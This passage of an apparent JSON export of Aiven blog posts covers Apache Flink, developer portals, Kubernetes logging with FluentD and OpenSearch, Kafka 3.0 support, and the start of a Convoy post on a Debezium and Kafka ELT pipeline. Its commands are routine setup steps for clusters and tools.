roughly 25 committers and is maintained by more than 340 contributors around the world.\n\nThe name Flink derives from the German word *flink* which means fast or agile (hence the logo, which is a red squirrel — a common sight in Berlin, where Apache Flink was partially created). Flink sprung from Stratosphere, a research project conducted by several European universities between 2010 and 2014.\n\nFlink is part of a new class of systems that enable rapid data streaming, along with Apache Spark, Apache Storm, Apache Flume, and Apache Kafka. The open source tool is helping countless businesses transition away from batch processing in use cases where it makes sense to do so. Flink is now widely used in many leading applications, which we will explain further in this post.\n\nWith Flink — which is written in Java and Scala — companies can receive event-at-a-time processing and dataflow programming, using data parallelism and pipelining.\n\nUp next, let’s take a deep dive and explore what you can do with this powerful open source program. \n## What Can Apache Flink Do?\nHere are some of the ways that organizations use Apache Flink today.\n### 1. Facilitate simultaneous streaming and batch processing\n\nAs creators Fabian Hueske and Aljoscha Krettek explain [in a DZone post](https://dzone.com/articles/towards-a-unified-data-processing-framework-batch#:~:text=Batch%20on%20Top%20of%20a%20Streaming%20Runtime\u0026text=Figure%202.,as%20high%2Dthroughput%20batch%20shuffles.), Flink is built around the idea of “streaming first, with batch as a special case of streaming.” This, in turn, reduces the complexity of data infrastructure.\n\n“As [the original creators of Flink](https://dzone.com/articles/towards-a-unified-data-processing-framework-batch#:~:text=Batch%20on%20Top%20of%20a%20Streaming%20Runtime\u0026text=Figure%202.,as%20high%2Dthroughput%20batch%20shuffles.), we have always believed that it is possible to have a runtime that is state-of-the-art for stream processing and batch processing use cases simultaneously; a runtime that is streaming-first, but can exploit just the right amount of special properties of bounded streams to be as fast for batch use cases as dedicated batch processors,” Hueske and Krettek write.\n\nThis is arguably the best feature of Flink. Its network stack can support low-latency and high-throughput streaming data transfers along with high-throughput batch shuffles — all from a single platform. \n\nThis can drastically simplify operations, helping organizations save time and money along the way. \n### 2. Process millions of records per minute \nSince Flink uses an event-at-a-time processing schematic, it can process millions of events per minute/second. \n\nHere’s how it works: Flink consumes an event from the source, processes it, and sends it to a sink. Then it goes on to process the next event immediately; it doesn’t wait while aggregating a batch of events.\n\nWith this functionality, Flink can process tons of events with ultra-low latency. As a result, you can to increase the throughput of your applications while having the ability to scale your systems to multiple machines.\n### 3. Power applications at scale\nOne of the top reasons why developers use Flink is because it can run stateful streaming applications that can support just about any workload that you feed it. Applications are parallelized into thousands of tasks, distributed and concurrently executed in a cluster, allowing applications to use virtually any amount of memory, CPU, disk, and network IO.\n\nOne user, WalmartLabs Software Engineer Khartik Khare, says he has given Flink jobs with [more than 10 million RPM](https://medium.com/walmartglobaltech/what-makes-apache-flink-scale-317f642fe6d5), with no more than 20 cores. \n\nFlink can also scale effectively by minimizing garbage collection and data limiting transfers across network nodes. In addition, Flink uses buffering and credit-based flow control for handling backpressure.\n\nAdd it all up, and Flink helps ensure powerful applications deliver modern user experiences at scale.\n### 4. Utilize in-memory performance \nFlink produces ultra-low processing latencies by utilizing local and in-memory states for all computations. This way it can process events in real time instead of aggregating it in batches. The software also enables exactly-once state consistency, checkpointing local states to durable storage. \n\n::banner[A fully managed service for Apache Flink for all your real time ETL and streaming analytics use cases.]{ctaText=\"Start your free trial\" ctaLink=\"https://aiven.io/flink\" title=\"Aiven for Apache Flink®\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/c96d109662fa0afd283a3ce7fbd1af8a8005f682-64x64.svg\"}\n\n## Wrapping up\nNow that you have the initial lowdown on Flink, go and find more content and news coming up on this topic! \n* [Apache Flink SQL client on Docker](https://aiven.io/blog/apache-flink-sql-client-on-docker)\n* [Build a streaming SQL pipeline with Flink and Kafka](https://aiven.io/blog/build-a-streaming-sql-pipeline-with-flink-and-kafka)\n\n--\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1wgqjrglPyMfEWcMYN3YcQ","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"},{"_key":"2vw3G7QzI7VENTWVzT0PMh","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"},{"_key":"3RInNwDlIfGT91IDLKEgDC","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-1407e663d03b3b25b049fd4b43336238b8db1083-1567x844-png","_type":"reference"}},"publishedAt":"2021-05-05T00:00:00.000Z","seo":{"metaDescription":"Flink: OS framework and distributed processing engine for stateful computations over unbounded and bounded data streams. ...Want simpler words? Read here.","metaImage":{"alt":"","asset":{"_ref":"image-1407e663d03b3b25b049fd4b43336238b8db1083-1567x844-png","_type":"reference"}},"metaTitle":"An introduction to Apache Flink®"},"slug":{"_type":"slug","current":"/blog/introduction-to-apache-flink"},"subtitle":"Flink: OS framework and distributed processing engine for stateful computations over unbounded and bounded data streams. ...Want simpler words? Read here.","title":"An introduction to Apache Flink®"} {"__i18n_lang":"en","_createdAt":"2023-03-14T16:59:19Z","_id":"7b69f4e1-6635-4a83-9e59-689c65273bb5","_rev":"rmwlP4nleGzuGoL3VuFpHi","_type":"post","_updatedAt":"2023-05-15T12:40:13Z","authors":[{"_key":"7bf3b0fb5433","_ref":"cd9f3dc9-f305-4c1c-9cc8-16587dece8b0","_type":"reference"}],"body":"The platform trend is nothing new, however platforms teams are getting much better at delivering consistent experiences to developers and engineering teams. If you would like to learn more about this trend, I can’t recommend the CNCF SIG App paper on the topic highly enough. \n\n## Platform teams are the productive path\nThe result is higher velocity and better productivity for engineering teams. As Atlassian states, pulled from the CNCF paper: “platform teams can create a cohesive experience that spans across different user experiences or products.” The most popular platform for delivery is the popular Backstage project, which is another CNCF project donated by Spotify. With the increased usage of Backstage, we’ve seen this become even more pronounced within many organizations; however, the ecosystem is still immature. \n\n## Backstage today\nI’m still seeing many gaps in the ecosystem and integrations within Backstage. It seems not to integrate with cloud platforms to enable developers to provision applications, infrastructure, and other associated resources they require. Some larger Aiven clients, treat Aiven as part of the platform, similar to what our cloud provider OEMs do. They 100% control the user experience from the API to their own custom portal, they interface with Aiven strictly through their own controlled experiences and not the Aiven user experience (Aiven Portal). \n\n## How portals enable ownership\nOne of our customers is so advanced they even expose usage, billing, and detailed operational controls and observability through their portal and UI. It’s really no different from the large numbers of customers using our Terraform modules or our Kubernetes Operator, they are just providing a much richer experience versus those integrating via infrastructure. This is taking the notion of DevOps much farther, as culturally they can create transparency, allowing for development teams to be accountable for what they are building and operating and how much it costs the business. \n\n![Platform Components](https://cdn.sanity.io/images/sczeoy4w/production/04b79371cd5ad57d1cd94a077f9d096d2c891cbc-923x712.png)\n\nThese developer portals also are a boon to productivity, allowing for much faster onboarding of developers and making them productive, even if it requires engineering resources to do some of these things. Most of the organizations I have seen talk about developer experience as CI/CD, development environments, and other more basic services. \n\n## Come and talk to me at Kubecon\nIf you would like to learn more about Backstage, you should be going to Kubecon in Europe, you can come and meet me too. I will be delivering the Jaeger Project Maintainer talk on April 19th at 11:55am https://sched.co/1HySf. Are you interested in seeing an Aiven integration to Backstage? \n\nShould developer portals have richer experiences around operational visibility, like observability tooling? How about database management tools beyond basic administration? I’d love to hear your opinion, just message on Twitter @jkowall or LinkedIn [https://linkedin.com/in/jkowall](https://linkedin.com/in/jkowall)\n","categories":[{"_key":"5ee14a8c44cf","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","alt":"Empowering Platform teams with Portals","asset":{"_ref":"image-19cea712fa66d1413f28fec799996526258104c9-1567x844-png","_type":"reference"}},"publishedAt":"2023-03-20T14:36:00.000Z","related":[{"_key":"b5dab945667a","_ref":"31bd6760-3411-4c1c-8164-9a8e2242d8bf","_type":"reference"},{"_key":"94c2f069070a","_ref":"9a3a45e9-76c1-438a-9222-19f024dd7917","_type":"reference"},{"_key":"0d1858a923db","_ref":"b5983f68-dc8a-4425-8c63-563319eaa59d","_type":"reference"}],"seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"empowering platform teams with portals","asset":{"_ref":"image-19cea712fa66d1413f28fec799996526258104c9-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/blog/empowering-platform-teams-with-portals"},"subtitle":"Making development teams productive, faster, using platform services and self-service portals like Backstage.","title":"Empowering Platform teams with Portals"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"6vF2f6KhhobR9G4rYOEKaJ","_rev":"GEwcjZ4hpY0RnpIR7pccI8","_type":"post","_updatedAt":"2023-06-22T13:40:08Z","authors":[{"_key":"6vPlPbH3IGfjUppRYabv9t","_ref":"6vPlPbH3IGfjUppRYabv9t","_type":"reference"}],"body":"Logs are extremely important for understanding the health of your application, and in the event of problems, they help in diagnosing the issue. Methods and tools for capturing, aggregating and searching logs make the diagnosis process simpler. They are even more important with the adoption of microservices and container orchestrators, like Kubernetes, because logs come from many more places and in more formats.\n\nWith hundreds or even thousands of Pods creating logs on dozens of Nodes, it's tedious, if not impossible, to install a log capturing agent on each Pod for each different type of service. One way to solve this problem is to coordinate a Kubernetes deployment of a log agent onto each Node, capture the logs for all the Pods, and export them somewhere. We can achieve this with a Kubernetes abstraction that does not require knowing what is running on each Pod:\n[DaemonSet](https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/).\nBriefly, a DaemonSet allows the scheduling of Pods on some or all Nodes based upon a user defined criteria.\n\nHere's the overall process:\n1. Set up a Kubernetes Cluster\n2. Create Pods to generate logs\n3. Push the logs from each pod in the cluster to an external [OpenSearch](https://aiven.io/opensearch) cluster.\n\nI will utilize the [Aiven for OpenSearch](https://aiven.io/) service, because it is intuitive, secure out of the box, and provides a basis for extension (e.g. pushing logs to [Apache Kafka](https://aiven.io/kafka) initially and then onto OpenSearch). For more information about how to do that with [Aiven for Apache Kafka Connect](https://aiven.io/kafka-connect) please check out the Aiven Help article on\n[creating an OpenSearch sink connector for Aiven for Apache Kafka](https://help.aiven.io/en/articles/2349675-aiven-kafka-elasticsearch-sink-connector).\n\n## Install the dependencies\nAll the code for this tutorial can be found at [https://github.com/aiven/k8s-logging-demo](https://github.com/aiven/k8s-logging-demo).\n\nThe code can be used as described in this tutorial, but if you really get into it, there are also instructions for building and deploying an API into our cluster and setting up a Kafka integration.\n\nLet's start by cloning the repository:\n```bash\ngit clone https://github.com/aiven/k8s-logging-demo.git\ncd k8s-logging-demo\n```\n\nMake sure you have the following local dependencies installed:\n * [Docker](https://docs.docker.com/get-docker/)\n * [Minikube](https://minikube.sigs.k8s.io/docs/start/)\n * [Kubectl](https://kubernetes.io/docs/tasks/tools/#kubectl)\n * [Helm](https://helm.sh/docs/intro/install/)\n\n## Create the Kubernetes cluster\nTo create a Kubernetes cluster with Minikube, enter the following:\n\n```bash\nminikube start\n```\nYou can verify that your cluster is up and running by listing\nall the Pods in the cluster, like this:\n\n```bash\nkubectl get pods --all-namespaces\n```\n\nAnd you should see something like this:\n\n```bash\nNAMESPACE NAME READY STATUS RESTARTS AGE\nkube-system coredns-74ff55c5b-mf9dj 1/1 Running 0 14d\nkube-system etcd-minikube 1/1 Running 0 14d\nkube-system kube-apiserver-minikube 1/1 Running 0 14d\nkube-system kube-controller-manager-minikube 1/1 Running 0 14d\nkube-system kube-proxy-bx4gl 1/1 Running 0 14d\nkube-system kube-scheduler-minikube 1/1 Running 0 14d\nkube-system storage-provisioner 1/1 Running 2 14d\n```\nWe will be using a non default namespace so let's create that\nnow:\n```bash\nkubectl create namespace logging\n```\n\n## Add Pods to the cluster\nNow that we have a nice little Kubernetes cluster, let's go ahead and do something with it. We are going to deploy a Pod that generates random logs as well as FluentD to our cluster.\n\n[FluentD](https://docs.fluentd.org/) is a data sourcing, aggregating and forwarding client that has hundreds of [plugins](https://www.fluentd.org/plugins). It supports lots of sources, transformations and outputs. For example, you could capture Apache logs, pass them to a Grok parser, create a Slack message for any log originating in Canada, and output every log to Kafka.\n\nTo generate logs in our cluster, let's create a Pod that generates random logs every so often:\n```bash\nkubectl create deployment -n logging --image=chentex/random-logger:latest logger\n```\n\nWe're going to install FluentD using a pre-built Helm Chart, so before doing that, we have to add the repo and update the dependency. This repo contains the Kubernetes templates that describe all the FluentD components and then tells our chart to update its cache (if there is one) with these new components.\n\n```bash\nhelm repo add bitnami https://charts.bitnami.com/bitnami\nhelm repo update\nhelm dependency update chart\n```\n\nThe last part of the equation gets an external store for our logs. To do this, let's use [Aiven](https://aiven.io/) for Elasticsearch. Go ahead and create a free account; you'll get some free credits to play around with.\n\nThen, create a new project in which to run Elasticsearch:\n\n![kubernetes-1](//cdn.sanity.io/images/sczeoy4w/production/160a945ef8c8ba351ab009b87568a9309b0149ef-268x462.png \"Creating a new project in the Aiven Console\")\n\nClick `Create a new service` and select Elasticsearch.\n\nThen select the cloud provider and region of your choice. In the final step we choose the service plan -- in this case we will use a Hobbyist plan.\n\nIt's a good idea to change the default name to something identifiable at this point, as it cannot be renamed later.\n\n![kubernetes-2](//cdn.sanity.io/images/sczeoy4w/production/6dec7156dc73db9e6fb641375f65543a19e47d99-1143x562.png \"Setting the service name\")\n\nAfter a minute or so your Elasticsearch service will be ready to use. You can view all the connection information in the console by clicking on the service that you created.\n\n![kubernetes-3](//cdn.sanity.io/images/sczeoy4w/production/6c83218634e7f73506c9a426f18e4296aa8bdbfc-878x394.png \"Connection information\")\n\nTake note of the Host, Port, User and Password. You'll need these to configure the Helm Chart.\n\nWe are now ready to deploy our Helm Chart:\n```bash\nhelm install -n logging log-demo chart \\\n--set elasticsearch.hosts=\u003cES Host\u003e \\\n--set elasticsearch.user=\u003cES User\u003e \\\n--set elasticsearch.pw=\u003cES Password\u003e\n```\n`\u003cES Host\u003e` should be the concatenation of the host and port we captured from the Aiven Console. In my case it looks like this:\n`https://something-unique-sa-demo.aivencloud.com:24947`.\n(Note that the values set here are only a subset of the configurations for FluentD; for the full set, see the\n[chart definition](https://github.com/bitnami/charts/tree/master/bitnami/fluentd/#installing-the-chart))\n\nYou can check that things are building correctly by investigating the Pods in the `logging` namespace\n\n```bash\nkubectl -n logging get pods\n```\n\nYou should see something like\n```bash\nNAME READY STATUS RESTARTS AGE\nlog-demo-fluentd-0 1/1 Running 0 7m32s\nlog-demo-fluentd-wj56t 1/1 Running 0 7m32s\nlogger-56db6f88d9-h8r8d 1/1 Running 0 7m8s\n```\n\nIf all the Pods aren't ready yet, just give it a few seconds and check again, they should become ready shortly.\n\n## View and search the log entries\nThe [configuration](https://github.com/aiven/k8s-logging-demo/blob/main/chart/templates/fluentd-configmap.yaml) that has been deployed captures all logs from every Node (it can be configured not to do this) and so if we head over to OpenSearch dashboards we should see that happening. Aiven automatically deploys OpenSearch dashboards alongside Elasticsearch and the connection info can also be found in the console.\n\n![kubernetes-4](//cdn.sanity.io/images/sczeoy4w/production/da49fff76d4ee584cf51f494d577fad7ae27d841-849x366.png \"Kibana connection info\")\n\nOnce logged into OpenSearch dashboards, go to the dev tools.\n\n![kubernetes-5](//cdn.sanity.io/images/sczeoy4w/production/f49ee1611dab4c131034abaaf00ee33c43adef50-339x675.png \"Kibana dev tools\")\n\nIssue the following query, which looks for any log that originated from the `kube-system` namespace:\n```text\nGET /_search\n{\n \"query\": {\n \"term\": {\n \"kubernetes.namespace_name.keyword\": {\n \"value\": \"kube-system\"\n }\n }\n }\n}\n```\nThe results should look something like:\n```json\n{\n \"_index\" : \"minikube-2021.05.27\",\n \"_type\" : \"_doc\",\n \"_id\" : \"6dXGrnkBn7BUvoFdGaNm\",\n \"_score\" : 0.0020360171,\n \"_source\" : {\n \"log\" : \"\"\"I0527 17:01:23.041467 1 client.go:360] parsed scheme: \"passthrough\" \"\"\",\n \"stream\" : \"stderr\",\n \"docker\" : {\n \"container_id\" : \"b8a38739fc4a2694995837f2dfe773e011432b73f641b02eb54a7622ba3baffc\"\n },\n \"kubernetes\" : {\n \"container_name\" : \"kube-apiserver\",\n \"namespace_name\" : \"kube-system\",\n \"Pod_name\" : \"kube-apiserver-minikube\",\n \"container_image\" : \"k8s.gcr.io/kube-apiserver:v1.20.2\",\n \"container_image_id\" : \"docker-pullable://k8s.gcr.io/kube-apiserver@sha256:465ba895d578fbc1c6e299e45689381fd01c54400beba9e8f1d7456077411411\",\n \"Pod_id\" : \"d825fef1-15d4-4202-818a-5deef0a30666\",\n \"host\" : \"minikube\",\n \"labels\" : {\n \"component\" : \"kube-apiserver\",\n \"tier\" : \"control-plane\"\n },\n \"master_url\" : \"https://10.96.0.1:443/api\",\n \"namespace_id\" : \"9925f802-c2c1-44a0-9a71-534d16a609af\"\n },\n \"@timestamp\" : \"2021-05-27T17:01:23.041773900+00:00\",\n \"tag\" : \"kubernetes.var.log.containers.kube-apiserver-minikube_kube-system_kube-apiserver-b8a38739fc4a2694995837f2dfe773e011432b73f641b02eb54a7622ba3baffc.log\"\n }\n }\n```\nThe log documents provide the log message, the namespace from which the log originated, the timestamp when the log originated, as well as several other identifying pieces of information.\n\nGoing back to OpenSearch dashboards, let's issue another request and see if we can find the logs from our logging Pod:\n```text\nGET /_search\n{\n \"query\": {\n \"match\": {\n \"log\": {\n \"query\": \"exception\"\n }\n }\n }\n}\n```\nMost likely there will be several results, but the first one should be the log related to the logger Pod's random error logs.\n\n## Updates and clean up\nIf at any point you want to make changes to any of the deployments, e.g. change the FluentD configuration, add an endpoint to the existing service or add a whole new service:\n\n```bash\nhelm upgrade -n logging log-demo \u003cother parameters set during install\u003e\n```\nYou may need to redeploy Pods for changes to take effect.\n\nTo tear down the installation:\n```bash\nhelm delete -n logging log-demo\nkubectl delete -n logging deployment/logger\n```\n\n## Wrapping up\n\nThis guide started from nothing and created a Kubernetes application with a logging layer.\n\nThe code and steps here could easily be expanded upon to use a different Kubernetes provider such as [Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine) (GKE) or [Elastic Kubernetes Service](https://aws.amazon.com/eks/) (EKS) and the Helm configuration could easily be expanded to include other use cases such as sending data to Kafka or capturing metrics as well.\n\nRegardless of where the data comes form or where it goes or what kind it is, the Aiven platform has the tools and services to assist you on your journey.\n\n## Further reading\n[External Elasticsearch Logging](https://aiven.io/blog/external-elasticsearch-logging-output-now-supported-by-aiven)\n\n[Kubernetes Logging Architecture](https://kubernetes.io/docs/concepts/cluster-administration/logging/)\n\n[Kubernetes Logging with ELK Stack](https://logz.io/blog/deploying-the-elk-stack-on-kubernetes-with-helm/#:~:text=ELK%20integrates%20natively%20with%20Kubernetes,deploying%20and%20managing%20the%20former.)\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"2q1kxdEuQtJX4PDTtjnfGe","_ref":"2q1kxdEuQtJX4PDTtjnfGe","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-98ded4b981a3b4f40f41ffede63d137930aa9569-1567x844-png","_type":"reference"}},"publishedAt":"2021-07-19T00:00:00.000Z","seo":{"metaDescription":"With a container orchestrator like Kubernetes, log files are never in short supply. Find out how to make the most of that flood of data.","metaImage":{"alt":"","asset":{"_ref":"image-98ded4b981a3b4f40f41ffede63d137930aa9569-1567x844-png","_type":"reference"}},"metaTitle":"Navigating your Kubernetes logs with Aiven"},"slug":{"_type":"slug","current":"/blog/navigating-your-kubernetes-logs-with-aiven"},"subtitle":"With a container orchestrator like Kubernetes, log files are never in short supply. Find out how to make the most of that flood of data.","title":"Navigating your Kubernetes logs with Aiven"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"6gjXGffLH374r0DoPMsS7O","_rev":"LlMsTfwmVHcho3tE13OGzz","_type":"post","_updatedAt":"2023-06-14T10:12:00Z","authors":[],"body":"It's been a long two months, but Aiven has now implemented support for [Apache Kafka](https://aiven.io/kafka) version 3.0. \n\nAs this is a new major version, it comes with a number of enhancements across the board, as well as with some deprecations and API changes.\n## What's new\n### Group multiple consumer group offset requests\n__[KIP-709: Extend OffsetFetch requests to accept multiple group ids](https://cwiki.apache.org/confluence/pages/viewpage.action?pageId=173084258)__\n\nOffsetFetch API allows grouping multiple consumer group offset requests into a single fetch. This reduces request overhead and simplifies client code.\n\n### Strongest delivery guarantee by default \n__[KIP-679: Producer will enable strongest delivery guarantee by default]__(https://cwiki.apache.org/confluence/display/KAFKA/KIP-679%3A+Producer+will+enable+the+strongest+delivery+guarantee+by+default)\n\nProducer config defaults are modified to make record delivery guarantees stronger by default. This ensures ordering, avoids duplicates and increases durability. As the modification could cause compatibility issues for some users, it is advised you go through the migration plan outlined in KIP-679.\n### Identify the liveliness of a topic/partition\n__[KIP-734: Improve AdminClient.listOffsets to return timestamp and offset for the record with the largest timestamp](https://cwiki.apache.org/confluence/display/KAFKA/KIP-734%3A+Improve+AdminClient.listOffsets+to+return+timestamp+and+offset+for+the+record+with+the+largest+timestamp)__\n\nAdminClient.listOffsets API is extended with the capability to return the offset and timestamp of the record with the highest timestamp in a topic/partition. This allows easy identification if a topic/ partition is alive - being written to - or the health of it.\n### More granular restarting of connectors\n__[KIP-745: Connect API to restart connector and tasks](https://cwiki.apache.org/confluence/pages/viewpage.action?pageId=181308623)__\n\nConnect API is enhanced with added granularity to support restarting of only the failed connector and its tasks with a single call.\n### Karapace schema registry for Aiven for Apache Kafka 3.0\nThe open-source version of Confluent Schema Registry is no longer supported in Apache Kafka 3.0. As a replacement, Aiven provides a lightweight, fast and truly open source tool, Karapace. More information on migrating to Karapace is provided in the Help article [End of support for Confluent Schema Registry on Aiven](https://help.aiven.io/en/articles/5651983 \"End of support for Confluent Schema Registry on Aiven | Aiven Help article\").\n## Deprecations\nThe following functionalities are deprecated in Apache Kafka 3.0:\n\n- MirrorMaker v1 is deprecated and will no longer be supported in Apache Kafka v4.0\n- Java 8 and Scala 2.12 programming language versions are deprecated and will be removed in v4.0.\n- Message formats v0 and v1 are deprecated and will be removed in Apache Kafka 4.0. Start upgrading your client applications to get the best performance.\n- IDEMPOTENT_WRITE is deprecated and will be removed in a future release. Update your application to use WRITE instead.\n\n## How to get started with Aiven for Apache Kafka 3.0\nYou can either launch a brand new cluster in the [Aiven Console](https://console.aiven.io) or conduct a no-downtime upgrade to the latest version.\n## Wrapping up\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"9yQ4jxpUoNWbSOSWYlghM","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-4b4e6a30b9cad0519d7be38719da0b348acd7b00-1567x844-png","_type":"reference"}},"publishedAt":"2021-11-25T00:00:00.000Z","seo":{"metaDescription":"Apache Kafka® version 3.0 was announced on September 21, 2021, and Aiven already supports it. Find out about the enhancements across the board.","metaImage":{"alt":"","asset":{"_ref":"image-4b4e6a30b9cad0519d7be38719da0b348acd7b00-1567x844-png","_type":"reference"}},"metaTitle":"Aiven supports Apache Kafka® 3.0"},"slug":{"_type":"slug","current":"/blog/aiven-supports-apache-kafka-3-0"},"subtitle":"Apache Kafka® version 3.0 was announced on September 21, 2021, and Aiven already supports it. Find out about the enhancements across the board.","title":"Aiven supports Apache Kafka® 3.0"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"58fYvZEJfkoHqnImOIVibD","_rev":"LlMsTfwmVHcho3tE14Lphb","_type":"post","_updatedAt":"2023-06-14T11:53:47Z","authors":[],"body":"From the outside looking in, trucking may seem like a fairly well-organized industry, but the reality is somewhere closer to organized chaos. From the dreaded [D.O.T week](https://www.axlelogistics.com/blog-dot-week/), where capacity drops as truck drivers stay home to avoid inspections, to hurricanes that halt transit for an entire portion of the country, the freight market can change at the drop of a hat. \n\nOn an individual shipment level, there’s even more uncertainty — accidents, facility closures, damaged cargo, among many other things. The number of things that can go wrong in the lifecycle of a shipment is astounding. One element that’s helped Convoy thrive in spite of this chaos is our investment in building a robust and accessible data warehouse. \n\nAll of the data from our rapidly growing number of services is continuously piped into our data warehouse, where it’s made available for all employees to use. Everyone at the company is encouraged to learn SQL so they can build the queries and dashboards they need to do their jobs effectively. \n\nFor example, account managers can build dashboards to answer unique questions our customers might have about their freight, and our operations team can make data-driven decisions about improvements to their workflows, which improves our quality of service to customers. \n\nYou hear the term “data democratization” tossed around frequently, and Convoy is the closest I’ve seen a company get in practice. There’s no doubt access to comprehensive and fresh data has been a key factor in Convoy’s ability to scale successfully.\n\n## Stretching the Limits of Our ELT System\nUnfortunately, as Convoy has grown to 700+ employees over the past year, the one thing in this picture that wasn’t scaling well was our ELT system. ELT, which stands for Extract Load Transform, is the process of extracting data from our various production services, and importing it into our data warehouse. \n\nPreviously we had relied on a third party service to handle this work for us, but our import latency increased as we continued to scale. Data that used to take 10–15 minutes to import now frequently took 1–2 hours, and for some of the larger datasets you could expect latencies of 6+ hours. As you can imagine, knowing where a truck was 2 hours ago when it’s due at a facility now isn’t very useful. \n\nSeveral teams had already started building workarounds to pull real-time data from our production systems with varying degrees of success, and it became increasingly clear that access to low latency data was critical. At this point, we realized we had two options:\n\n1. Change the scope of the data warehouse to only support offline analysis, and have product teams build the dashboards the company needs hooked directly up to our production services\n\n2. Build a new, low latency, ELT pipeline\n\nBoth options required work from the engineering team, but the second option would allow us to continue to use our data warehouse as the central source of data for the company. In order for this project to really be considered a success, we set an aggressive latency goal of just 5 minutes from the time a transaction was committed in one of our databases to the time it was available to query in the data warehouse. \n\nAfter speaking with teams across the company, we settled on 5 minutes as an achievable compromise to true real time data. In addition, we wanted to ensure we never lost data in transit. Zero data-loss was an important feature of our previous solution, and is critical to building and maintaining trust in our data warehouse.\n\nEarlier this year we went live with our new ELT pipeline, and have been very happy with the results. Given how much we relied on the open source community to complete this project, I wanted to give back by sharing our experience building this system. In the first part of this post I’ll cover how the system works: the design, the open source components we use, and how they all fit together. After that, I’ll dig into why the system works, or specifically, the core concepts that allow us to achieve sub 5 minute latency with guaranteed at least once delivery.\n\n## Design\n\nAt a high level, the flow of data through the system is pretty straightforward, but like most things, the devil is in the details. The pipeline starts with a change in a Postgres database, and ends in our data warehouse (Snowflake) with data ready to be consumed by anyone in the company. In between, the events flow through Apache Kafka, land in a hidden schema in Snowflake, and are cleaned up before being pushed to a public schema.\n\nTo summarize the last few paragraphs, here’s the list of requirements that drove the design:\n\n- Low Latency\n- Zero Data Loss\n- Low Maintenance\n\nI ended up learning a lot of new things about systems that I’ve been using for several years as our team worked our way through the design, initial prototype, and final implementation. Several of the topics probably deserve a post of their own, but I tried my best to condense the important points about each component to give you an idea of how they all fit together.\n\n![convoy elt pipeline diagram](//cdn.sanity.io/images/sczeoy4w/production/8125d2671b7375feae6bf00ee49e8b610b0f0dfd-923x335.png)\n\n__Debezium Source Connector:__ The most complicated part of this system is figuring out how to efficiently monitor for changes to rows in Postgres, and produce an event for each change (a process known as Change Data Capture). Fortunately for us, there’s an amazing open source project dedicated to doing exactly that — the [Debezium Project](https://debezium.io/ \"debezium project homepage link\"). Specifically, we use the [Debezium Postgres Source Connector](https://debezium.io/documentation/reference/1.8/connectors/postgresql.html \"debezium postgres source connector page link\"), though they also support several other common databases like MySQL and MongoDB.\n\nThe Postgres connector uses a concept called logical decoding to consume the Postgres write ahead log (WAL, sometimes also called the transaction log), and produce events for every change to a row. The records produced by the connector are a bit verbose, so we use a Single Message Transform to flatten the event to just the new values in the row. \n\nWe also needed a way to ensure proper ordering of events once they made it into our data warehouse, so I added [a feature](https://github.com/debezium/debezium/pull/968 \"debezium pull request number 968 link\") to the connector that allows us to plumb the Postgres log sequence number (LSN) through with the event. The log sequence number is just the offset in the Postgres write ahead log, which I’ll touch on in the next section.\n\nI wanted to call out one thing that has the potential to cause a real problem if you’re not careful: Postgres’ logical decoding provides an efficient way to stream changes in your database to external consumers, but it doesn’t come without its faults. Most notably, Postgres will not delete any part of the write ahead log until the data has been consumed by all existing logical replication slots. In other words — if your consumer (in this case the Debezium connector) stops consuming for any reason, Postgres will happily keep appending to the write ahead log until its disk is completely full, and the database is unresponsive.\n\n\u003e Using logical decoding requires sufficient disk space to buffer against temporary outages, and good monitoring to alert you early on to any problems.\n\n__wal2json_:__ When you create a logical decoding slot in Postgres, you need to specify an output plugin for the slot to use. Logical decoding output plugins are responsible for decoding and converting the contents of the write ahead log into a format you’re able to consume. We use a well known plugin called [wal2json](https://github.com/eulerto/wal2json \"wal2json github repository link\"), which comes preinstalled on AWS RDS Postgres instances, but there is also a [plugin for Protobuf](https://github.com/debezium/postgres-decoderbufs \"devezium protobuf page link\") maintained by the Debezium community.\n\nBecause these events are only being used for ELT purposes, I decided to forgo schemas and the schema registry, and stick with schema-less JSON blobs. The upside of this approach goes back to the low maintenance trait I mentioned at the start, as it pushes the schema management problem out of this system, and into the models/views in our data warehouse.\n\n__Apache Kafka:__ At 